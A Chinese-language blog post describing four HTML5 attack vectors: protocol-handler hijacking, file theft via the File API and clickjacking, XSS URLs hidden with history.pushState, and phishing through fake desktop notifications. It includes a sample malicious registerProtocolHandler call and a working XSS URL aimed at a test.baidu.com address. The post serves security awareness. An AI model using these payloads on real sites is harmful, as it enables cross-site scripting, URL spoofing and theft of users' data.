HTML5裏有許多協議、模式和API,可能成爲攻擊者的攻擊途徑。
一、registerProtocolHandler:信息泄漏
HTML5允許某些協議和schema註冊爲新的特性。例如下面的語句可以註冊一個email handler。
navigator.registerProtocolHandler(“mailto”,“http://www.f.com/?uri=%s", “Evil Mail");
它會將一個惡意網站處理器關聯到mailto這個協議上,所以它在某些情況下的濫用會導致用戶信息泄漏。
二、文件API:竊取文件
HTML5另外一些API從安全角度來看很有意思,它們還能混合起來使用。
例如文件API允許瀏覽器訪問本地文件,攻擊者可以將它與點擊劫持和其他攻擊混合起來獲得用戶本地的文件。比如騙取你從本地拖放文件到頁面裏,這種方法在劫持攻擊一文中有較詳細的闡述。
三、歷史API:隱藏XSS URL
利用HTML5歷史API的pushState,可以隱藏瀏覽器地址欄的攻擊URL。例如我在瀏覽器地址欄輸入
http://test.baidu.com/?text=</div><script>history.pushState({},'',location.href.split("?").shift());document.write(1)</script>
這個地址,用戶將會僅僅只看到http://test.baidu.com/。
這個問題和現在流行的短網址技術結合起來,具有更大的隱蔽性。想象一下我們在微博上看到一個短網址,不會有任何懷疑就會點擊這個地址查看內容,而最後看到的地址也是相當正常的,但是在這個過程中用戶的信息和資料就不知不覺被盜取了。
短URL結合歷史API的攻擊
四、Web Notifications:盜取數據
Web Notifications讓我們在瀏覽器中能夠接收推送的消息通知,但是它有可能會被攻擊者利用來構造虛假信息,騙取用戶數據。
例如下圖裏右下角的彈窗通知看起來非常正常,需要我們輸入Gmail密碼來登錄查看新郵件。但是一旦輸入密碼,Gmail郵箱就被盜取了。我們可以仔細看看,彈窗左上角顯示的域名是gmai1.com!這正是一個釣魚網站的欺詐手段。
桌面通知攻擊
最後,隨着HTML5的發展,未來還可能出現新的HTML5安全問題,還可能還會向着複雜化和智能化去發展。
相關文章:
本文爲原創文章,轉載請註明:來自蔣宇捷的博客:http://blog.csdn.net/hfahe